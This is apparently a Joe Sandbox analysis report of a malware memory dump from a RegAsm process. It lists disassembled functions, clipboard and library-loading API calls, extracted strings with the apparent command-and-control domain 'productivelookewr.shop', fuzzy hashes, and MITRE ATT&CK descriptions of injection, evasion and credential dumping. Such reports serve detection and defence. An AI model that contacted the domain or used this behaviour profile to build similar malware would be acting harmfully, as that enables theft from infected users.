String ID: *F2y$JlR$w`t=
API String ID: 3545744682-3038908346
Opcode ID: 24da3adf5059d81cf7d2ad900060aa0a5c8d7221f51578d4b7ea953d5e711c90
Instruction ID: 3e70d1d55ec97af653871418fabcf64f407846960664a5295b6b8fd12b751a05
Opcode Fuzzy Hash: 24da3adf5059d81cf7d2ad900060aa0a5c8d7221f51578d4b7ea953d5e711c90
Instruction Fuzzy Hash: C0229E70644F528AD726CB34C454BF3BBE1AF16308F88496DD0EB8B682D778A406CB55

Uniqueness

Uniqueness Score: -1.00%

Function 0041698E Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 210
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

%%- , xrefs: 004169BF
v, xrefs: 004169CE

Memory Dump Source

Source File: 00000002.00000002.1804892333.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: %%- $v
API String ID: 0-3441005054
Opcode ID: 5a4bf424b681296f79a9a1910ee0caf69272363b6419fd0290d77f6ad69390f0
Instruction ID: 4d00ae469f9fd325f0d03fbbe26277f7f2acccbc63d2c3f963fd31f85c2058bd
Opcode Fuzzy Hash: 5a4bf424b681296f79a9a1910ee0caf69272363b6419fd0290d77f6ad69390f0
Instruction Fuzzy Hash: EB719DB15083819FC324CF14C49179BBBE2AFD5308F158A2EE4D98B392D778D845CB86

Uniqueness

Uniqueness Score: -1.00%

Function 00434400 Relevance: 1.5, APIs: 1, Instructions: 16libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(00438D16,005C003F,00000006,?,?,00000018,BAB9B8B7,?,j\A), ref: 0043442D

Memory Dump Source

Source File: 00000002.00000002.1804892333.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 8bfd55fa9a3783dde79afca9779d4b7cf76278c514d5c7b39b661a11ebe4b8a8
Instruction ID: cad8ec672340582561fa227c7642f14e39de0d6142ffc8c3f18c7b3dd789947f
Opcode Fuzzy Hash: 8bfd55fa9a3783dde79afca9779d4b7cf76278c514d5c7b39b661a11ebe4b8a8
Instruction Fuzzy Hash: 16E0B675508202EBDA05DF45C14064FF7E2BFD4B18F65C89DE88423704C7B4BD45DA42

Uniqueness

Uniqueness Score: -1.00%

Function 004298A2 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1804892333.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 28825e13e41e3a290de51b12a77928c57a386e31992a2313f9f3284ecb1d3aaa
Instruction ID: a79c794283ec479b26f01c2d3fedcd3690990b4b1f51e62144dd15e5b8668a9d
Opcode Fuzzy Hash: 28825e13e41e3a290de51b12a77928c57a386e31992a2313f9f3284ecb1d3aaa
Instruction Fuzzy Hash: FDF015B4109344CFD324EF28CA85B9BBBE0BB88704F01882DE489C7351DB789904CF82

Uniqueness

Uniqueness Score: -1.00%

Function 0040D649 Relevance: 65.1, APIs: 4, Strings: 33, Instructions: 381
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32 ref: 0040D882
ExitProcess.KERNEL32 ref: 0040D894
ExitProcess.KERNEL32 ref: 0040D8A3
ExitProcess.KERNEL32 ref: 0040D8B5

Strings

@, xrefs: 0040D955
q, xrefs: 0040D995
u, xrefs: 0040D96D
J, xrefs: 0040D92D
k, xrefs: 0040D925
l, xrefs: 0040D9DD
i, xrefs: 0040D97D
\, xrefs: 0040D8F5
t, xrefs: 0040D99D
x, xrefs: 0040D985
C, xrefs: 0040D935
U, xrefs: 0040D94D
e, xrefs: 0040D9E5
V, xrefs: 0040D90D
W, xrefs: 0040D9BD
', xrefs: 0040DA05
2, xrefs: 0040D91D
}, xrefs: 0040D98D
+, xrefs: 0040D9B5
productivelookewr.shop, xrefs: 0040DB89
5, xrefs: 0040D9A5
U, xrefs: 0040D9C5
#, xrefs: 0040D9D5
H, xrefs: 0040D965
m, xrefs: 0040D975
^, xrefs: 0040D905
0, xrefs: 0040D93D
R, xrefs: 0040D9AD
[, xrefs: 0040D9CD
F, xrefs: 0040D95D
X, xrefs: 0040D8ED
], xrefs: 0040D9FD
U, xrefs: 0040D8FD

Memory Dump Source

Source File: 00000002.00000002.1804892333.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: ExitProcess
String ID: #$'$+$0$2$5$@$C$F$H$J$R$U$U$U$V$W$X$[$\$]$^$e$i$k$l$m$productivelookewr.shop$q$t$u$x$}
API String ID: 621844428-4121839970
Opcode ID: ea40b50e168583492cb44a7ee5b54de0c6583e3d67d4fde394130f52b547bc33
Instruction ID: 2a45a7ce39faf0871257c93ae5289d386bded186dd72fcea74f229d59f0e2a4f
Opcode Fuzzy Hash: ea40b50e168583492cb44a7ee5b54de0c6583e3d67d4fde394130f52b547bc33
Instruction Fuzzy Hash: D8220660508BC18ED726CF388498712BFE16B56324F18878DD8E94F7D7C379A419CBA6

Uniqueness

Uniqueness Score: -1.00%

Function 0042878F Relevance: 12.3, APIs: 1, Strings: 6, Instructions: 88
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SysAllocString.OLEAUT32 ref: 004288EF

Strings

%, xrefs: 004287ED
0, xrefs: 004287CD
!, xrefs: 004287FD
#, xrefs: 0042880D
8, xrefs: 0042881D
:, xrefs: 004287DD

Memory Dump Source

Source File: 00000002.00000002.1804892333.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: AllocString
String ID: !$#$%$0$8$:
API String ID: 2525500382-1043778899
Opcode ID: 3536fd0aec5dde5ff5a4837cf42fa00b2599b8b78e40209bb58f73639d762878
Instruction ID: 0b7bd2e78b2f959f61dd62e601381f78b9ffec7d35b7a45e8cc10b10d081aee6
Opcode Fuzzy Hash: 3536fd0aec5dde5ff5a4837cf42fa00b2599b8b78e40209bb58f73639d762878
Instruction Fuzzy Hash: 0E51917050C7C18ED331CF28989878BBFE1AB96314F444A5DE4E88B295C7799249CB63

Uniqueness

Uniqueness Score: -1.00%

Function 00409260 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 39
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32 ref: 004092DA

Strings

in that spellings eleet on play or similarity the internet. primarily is of used glyphs of via or character other the uses reflection ways system their a leetspeak, replacements resemblance it on often modified, xrefs: 0040929D

Memory Dump Source

Source File: 00000002.00000002.1804892333.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: ExitProcess
String ID: in that spellings eleet on play or similarity the internet. primarily is of used glyphs of via or character other the uses reflection ways system their a leetspeak, replacements resemblance it on often modified
API String ID: 621844428-4175449110
Opcode ID: 83fb315ea48875ce771f0859a4321d8a94d520bcb4ea4ea115566c5fe353edfa
Instruction ID: 2c4e7407edd57ad114398b726b04ee369c002f9f0d65c2b0b2f15b4bb30bf233
Opcode Fuzzy Hash: 83fb315ea48875ce771f0859a4321d8a94d520bcb4ea4ea115566c5fe353edfa
Instruction Fuzzy Hash: 1FF068F4818600ABC6503B756A0665A7AA86F51314F110A7FFCC5621C3EA7C9C4AC6AF

Uniqueness

Uniqueness Score: -1.00%

Function 004366FA Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 98
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNELBASE ref: 00436891

Strings

hUbW, xrefs: 00436837

Memory Dump Source

Source File: 00000002.00000002.1804892333.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: LibraryLoad
String ID: hUbW
API String ID: 1029625771-392503769
Opcode ID: 117654e7a2c715a002dd9a2fb9f3716d18c896afe0eb44e60098e4af075c8502
Instruction ID: 3f87c3b55241bc80739741c83e78b68a4e28fcca0f8a600ac4047aae8464d9b5
Opcode Fuzzy Hash: 117654e7a2c715a002dd9a2fb9f3716d18c896afe0eb44e60098e4af075c8502
Instruction Fuzzy Hash: 6C4190B8004B02AFD324CF21D950726BBB1FB06309F648B6DE45206B51D7B5A86BCFD8

Uniqueness

Uniqueness Score: -1.00%

Function 004368C5 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 48libraryCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNELBASE ref: 0043694E

Strings

~}, xrefs: 004368F3

Memory Dump Source

Source File: 00000002.00000002.1804892333.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: LibraryLoad
String ID: ~}
API String ID: 1029625771-3738258182
Opcode ID: 662a9e73c113ce5f342015867d89efdc9716a27ccddabd10181ec600040e2bfe
Instruction ID: 4674141fb7d0e8617b1c4516e825175adccc86806afbd4d704cc2711f1fe9940
Opcode Fuzzy Hash: 662a9e73c113ce5f342015867d89efdc9716a27ccddabd10181ec600040e2bfe
Instruction Fuzzy Hash: F6115BB52007418BDB28CF25D4E07177BB2FF45300F298AACC8564BB9AD734E909CB98

Uniqueness

Uniqueness Score: -1.00%

Function 0041DFF0 Relevance: 3.2, APIs: 2, Instructions: 191COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000000E,00000000,00000000,?), ref: 0041E0E9
RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000000E,00000000,?,?), ref: 0041E119

Memory Dump Source

Source File: 00000002.00000002.1804892333.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID:
API String ID: 237503144-0
Opcode ID: de2c992e56fa0d98d4b3dac663700b1a738d6d8806879bbe184a7dae0e4d6526
Instruction ID: 4e188887d6f6e1503cec8ed3bf2d19359f4e6aa22e606105edb8a3c788be4c47
Opcode Fuzzy Hash: de2c992e56fa0d98d4b3dac663700b1a738d6d8806879bbe184a7dae0e4d6526
Instruction Fuzzy Hash: 31618B742083518FE324CF15C8A0BABB7E5EFC6358F154A1DE8E95B280D3789945CB97

Uniqueness

Uniqueness Score: -1.00%

Function 00415FD0 Relevance: 3.2, APIs: 2, Instructions: 162COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,?,00000000,00000000,?), ref: 0041600D
RtlExpandEnvironmentStrings.NTDLL(00000000,?,?,00000000,?,?), ref: 0041603E

Memory Dump Source

Source File: 00000002.00000002.1804892333.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID:
API String ID: 237503144-0
Opcode ID: ba200274ad252c8cb65550de2bcc09d5126e006e62fbb55b52ba7a554b7e0534
Instruction ID: e85bc4eea84c2abdb8ee6c0067a9b1e74ccb33011f289745ef03bc1e22d32e6d
Opcode Fuzzy Hash: ba200274ad252c8cb65550de2bcc09d5126e006e62fbb55b52ba7a554b7e0534
Instruction Fuzzy Hash: EE51CF742083409BE720CF14C891BABB7E5FF85354F004A1DE99A9B382D778D945CBAA

Uniqueness

Uniqueness Score: -1.00%

Function 00418F60 Relevance: 3.1, APIs: 2, Instructions: 65COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,?,00000000,00000000,?), ref: 00418F9A
RtlExpandEnvironmentStrings.NTDLL(00000000,?,?,00000000,?,?), ref: 00418FCE

Memory Dump Source

Source File: 00000002.00000002.1804892333.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID:
API String ID: 237503144-0
Opcode ID: 01d357d7d7bca0b2a93fce695d4f3871ce8c202d283cff551483bc75b3292def
Instruction ID: f133e4af1e6bde53fac4715633132da0c9cd298623ea81809d427f67e13a1d8f
Opcode Fuzzy Hash: 01d357d7d7bca0b2a93fce695d4f3871ce8c202d283cff551483bc75b3292def
Instruction Fuzzy Hash: 990126B55043047BD310DB64CC86FA777ACEB867A4F04462CF965C62C0EA34EC0487A6

Uniqueness

Uniqueness Score: -1.00%

Function 00425BEE Relevance: 1.9, APIs: 1, Instructions: 353COMMON

Download Yara Rule

APIs

GetPhysicallyInstalledSystemMemory.KERNELBASE(?), ref: 00425E0F

Memory Dump Source

Source File: 00000002.00000002.1804892333.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: InstalledMemoryPhysicallySystem
String ID:
API String ID: 3960555810-0
Opcode ID: 1ba662aaea020e2a6cb4409ee62620898dd26a3e62f4687b5a37f7b4ad99e173
Instruction ID: 585b76e473dfdef979b866c5cf7f34dc54eb7bec5105f781d077cf52090f4992
Opcode Fuzzy Hash: 1ba662aaea020e2a6cb4409ee62620898dd26a3e62f4687b5a37f7b4ad99e173
Instruction Fuzzy Hash: AAD16C70500F918BE726CF35D4987A3BBE1BB16308F44496EC4EB8B782C779A50ACB54

Uniqueness

Uniqueness Score: -1.00%

Function 00425D04 Relevance: 1.8, APIs: 1, Instructions: 339COMMON

Download Yara Rule

APIs

GetPhysicallyInstalledSystemMemory.KERNELBASE(?), ref: 00425E0F

Memory Dump Source

Source File: 00000002.00000002.1804892333.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: InstalledMemoryPhysicallySystem
String ID:
API String ID: 3960555810-0
Opcode ID: 29d0867be638f270a842c47d68e65a7a976786f80f5532e5643e235fc5a5b671
Instruction ID: a05b5883bed08643c9f54f37df22f011d90ef94a7b9cc2b33f2fb98c55cde403
Opcode Fuzzy Hash: 29d0867be638f270a842c47d68e65a7a976786f80f5532e5643e235fc5a5b671
Instruction Fuzzy Hash: 89C14B70504F918BE726CF35C4987A3BBE1BB16308F44496DC4EA8B792C779A50ACB54

Uniqueness

Uniqueness Score: -1.00%

Function 0043778E Relevance: 1.6, APIs: 1, Instructions: 52memoryCOMMON

Download Yara Rule

APIs

RtlReAllocateHeap.NTDLL(00000000,00000000), ref: 00437828

Memory Dump Source

Source File: 00000002.00000002.1804892333.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: cc30ca89545d2fb460a724985186c79039352742611c6712672a7820a7b07b51
Instruction ID: 5e6ee5b8c7fe7c57ae431c3a30c20ec22f5ff8b3865048d1e16e07f6d4ef0610
Opcode Fuzzy Hash: cc30ca89545d2fb460a724985186c79039352742611c6712672a7820a7b07b51
Instruction Fuzzy Hash: 791115B55083519FE710CF00D49474FBBA2EBC5328F248A4DE8E827245C375D909CBC6

Uniqueness

Uniqueness Score: -1.00%

Function 00434270 Relevance: 1.6, APIs: 1, Instructions: 50memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?,?,?,?,?,?,?,?,?,?,?,004217E2,00000000), ref: 00434311

Memory Dump Source

Source File: 00000002.00000002.1804892333.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 3e5af06ed2920cef0cc2df9e6087677a80586f9ce2251916b53e39f5994719b7
Instruction ID: c551a1862380c7733f4711f1939cea68191384b949155df4f8f27724ba6e559c
Opcode Fuzzy Hash: 3e5af06ed2920cef0cc2df9e6087677a80586f9ce2251916b53e39f5994719b7
Instruction Fuzzy Hash: CD1139B12083419FD708CF14C855B6BBBE1EBC5318F148E6DE8A58B381D779EA05CB86

Uniqueness

Uniqueness Score: -1.00%

Function 0043434B Relevance: 1.5, APIs: 1, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(00000000,00000000), ref: 004343E7

Memory Dump Source

Source File: 00000002.00000002.1804892333.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 2f76b8e70bf356d6b3d15948c79636a493ae6a48df51e253fe2dda955c5ee997
Instruction ID: b904bf6d938cf1f7352de97bc6ad3159ddbc6461cc6ef8321b7f9f783b600238
Opcode Fuzzy Hash: 2f76b8e70bf356d6b3d15948c79636a493ae6a48df51e253fe2dda955c5ee997
Instruction Fuzzy Hash: 8D11F7702183419FE708CF04D46479FBBE2FBC5318F24895DE8A917681C3799909CF86

Uniqueness

Uniqueness Score: -1.00%

Function 004326B2 Relevance: 1.5, APIs: 1, Instructions: 35COMMON

Download Yara Rule

APIs

GetVolumeInformationW.KERNELBASE(?,00000000,00000000,?,00000000,00000000,00000000,00000000), ref: 004326EC

Memory Dump Source

Source File: 00000002.00000002.1804892333.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: InformationVolume
String ID:
API String ID: 2039140958-0
Opcode ID: eb9e89498e8339eb38e96aee9849578cdabd029b9d85c213f8273ef959070442
Instruction ID: c73b524e2988d18d1d60914ad17855dba50219801a6fcc2a15e6fbed84dc4d4c
Opcode Fuzzy Hash: eb9e89498e8339eb38e96aee9849578cdabd029b9d85c213f8273ef959070442
Instruction Fuzzy Hash: 16F0A77A68D3C06BD31A9730AC62F613B348B43645F1900AFEA82DA1D2C954651AC769

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00428E86 Relevance: 14.2, APIs: 1, Strings: 7, Instructions: 231COMMON

Download Yara Rule

APIs

SysStringLen.OLEAUT32 ref: 00428E90

Strings

_, xrefs: 0042903F
}, xrefs: 0042906F
s, xrefs: 0042905F
v, xrefs: 0042904F
r, xrefs: 00429047
x, xrefs: 00429067
o, xrefs: 00429057

Memory Dump Source

Source File: 00000002.00000002.1804892333.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: String
String ID: _$o$r$s$v$x$}
API String ID: 2568140703-2173401013
Opcode ID: 2102a5e51972ae06f5b0c78352368175452e50977be39c92480121dc5fcac58a
Instruction ID: c8713174678fb0795b8696b46d40f37d054ce727570db3cb9970042d35e09eb5
Opcode Fuzzy Hash: 2102a5e51972ae06f5b0c78352368175452e50977be39c92480121dc5fcac58a
Instruction Fuzzy Hash: 6B910632A0D7918FC325CB28C8943EBBBD2AF95314F590A2DD8D98B3C1D7799805CB46

Uniqueness

Uniqueness Score: -1.00%

Function 0042CA70 Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 155clipboardCOMMON

Download Yara Rule

APIs

GetWindowInfo.USER32 ref: 0042CAC7
OpenClipboard.USER32 ref: 0042CAD9
GetClipboardData.USER32 ref: 0042CAFA
GlobalLock.KERNEL32 ref: 0042CB18
GlobalUnlock.KERNEL32 ref: 0042CC18
CloseClipboard.USER32 ref: 0042CC1E

Strings

O, xrefs: 0042CB7B
u, xrefs: 0042CB8B

Memory Dump Source

Source File: 00000002.00000002.1804892333.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Clipboard$Global$CloseDataInfoLockOpenUnlockWindow
String ID: O$u
API String ID: 3829817484-1426094074
Opcode ID: ea6fe36873f31fa76543f81f84302cc862a0a10ea54e75e36b311e699cde70f1
Instruction ID: 0974f8bf358e086a64e04c4834b05b0770d88d238fc0778546b258db01112593
Opcode Fuzzy Hash: ea6fe36873f31fa76543f81f84302cc862a0a10ea54e75e36b311e699cde70f1
Instruction Fuzzy Hash: 4F517DB0608780CFD710DF39E485716BFE0AB15314F148AADD89A8F792D379E805CBA6

Uniqueness

Uniqueness Score: -1.00%

Function 0040DDA2 Relevance: 51.1, APIs: 4, Strings: 25, Instructions: 382COMMON

Download Yara Rule

APIs

ExitProcess.KERNEL32(?,?,?,?,?,?,?,?,-0000002F,-0000002F), ref: 0040DFED
ExitProcess.KERNEL32(?,?,?,?,?,?,?,?,-0000002F,-0000002F), ref: 0040DFFC
ExitProcess.KERNEL32(?,?,?,?,?,?,?,?,-0000002F,-0000002F), ref: 0040E00B
ExitProcess.KERNEL32(?,?,?,?,?,?,?,?,-0000002F,-0000002F), ref: 0040E01D

Strings

t, xrefs: 0040DF1A
m, xrefs: 0040DF6A
f, xrefs: 0040DF1E
@, xrefs: 0040DF06
x, xrefs: 0040DF02
h, xrefs: 0040DEFE
x, xrefs: 0040DF26
x, xrefs: 0040DF16
m, xrefs: 0040DF22
o, xrefs: 0040DF4E
[, xrefs: 0040DF72
t, xrefs: 0040DF2E
o, xrefs: 0040DF66
u, xrefs: 0040DF32
u, xrefs: 0040DF6E
productivelookewr.shop, xrefs: 0040E2F1
~, xrefs: 0040DF3E
m, xrefs: 0040DF12
|, xrefs: 0040DF0A
a, xrefs: 0040DF2A
j, xrefs: 0040DF0E
x, xrefs: 0040DF36
S, xrefs: 0040DF52
y, xrefs: 0040DF4A
i, xrefs: 0040DF46

Memory Dump Source

Source File: 00000002.00000002.1804892333.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: ExitProcess
String ID: @$S$[$a$f$h$i$j$m$m$m$o$o$productivelookewr.shop$t$t$u$u$x$x$x$x$y$|$~
API String ID: 621844428-3103540326
Opcode ID: 8dfc32da3ccad855a3d56a7bfeb0e8ce1fdf8599b5ca2d665382e1edcb400fff
Instruction ID: dcb638bd401151c620b627ced9eb4c542edb5c14b6dbba3d5c114b8f366cc7b2
Opcode Fuzzy Hash: 8dfc32da3ccad855a3d56a7bfeb0e8ce1fdf8599b5ca2d665382e1edcb400fff
Instruction Fuzzy Hash: E1222D60508BC2DED325CF39C498742BFA16B16324F08878DD4E94BBD6C379A525CBA6

Uniqueness

Uniqueness Score: -1.00%

Function 0041EA90 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 109COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,00000000,0000001E,00000000,00000000,?), ref: 0041EBBE
RtlExpandEnvironmentStrings.NTDLL(00000000,00000000,0000001E,00000000,?,?), ref: 0041EBED

Strings

MK, xrefs: 0041EAEF
:9, xrefs: 0041EB1B

Memory Dump Source

Source File: 00000002.00000002.1804892333.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: :9$MK
API String ID: 237503144-2419649616
Opcode ID: 38d86f613ea7aabe7e5d1138da1c15016c5f4ec9316a05cd0cbe52089314dcdc
Instruction ID: 39565e22ba4483bb1d2f981c8edd659b78ed26b49af603b29904b583396cbad9
Opcode Fuzzy Hash: 38d86f613ea7aabe7e5d1138da1c15016c5f4ec9316a05cd0cbe52089314dcdc
Instruction Fuzzy Hash: FB413FB5008340AFD310CF04C890B5BBBA6BFC6758F508A2CF8A51B384EB75DA458B96

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

